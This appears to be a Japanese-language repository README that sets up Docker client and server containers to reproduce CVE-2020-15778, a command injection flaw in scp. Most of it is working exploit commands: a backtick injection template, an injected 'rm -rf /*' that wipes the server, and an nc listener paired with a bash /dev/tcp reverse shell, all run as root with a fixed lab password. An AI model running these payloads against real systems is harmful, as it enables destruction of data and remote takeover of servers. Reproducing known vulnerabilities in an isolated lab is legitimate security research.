
CVE-2020-15778のSCPコマンドインジェクションエクスプロイトを再現し、リモートコード実行とリバースシェルペイロードをテストするためのDockerベースのクライアント・サーバー構成を提供します。
このリポジトリは CVE-2020-15778 を再現するものです。
cd client
docker build -t client-cve .
cd server
docker build -t server-cve .
docker run -d -P --name scp-server server-cve
次のコマンドでscpサーバーの内部IPアドレスを取得する:
docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' scp-server
docker run --name scp-client -i -t client-cve
クライアントのターミナルで以下を実行する:
scp nil.txt root@<internal IP of scp server>:'`your command`/tmp'
パスワードは「PASSWORD」です。
このエクスプロイトの例をいくつか示します。
scp nil.txt root@<internal IP of scp server>:'`rm -rf /*`/tmp'
クライアントマシンでポートを待ち受ける。
nc -lvvp 8080
scpを使用して、サーバーに対話型bashをクライアントマシンへマッピングさせる。
scp nil.txt root@<internal IP of scp client>:'`bash -i >& /dev/tcp/<internal IP of scp client>/8080 0>& 1`/tmp'
クライアントのIPアドレスは次のコマンドで取得する:
docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' scp-client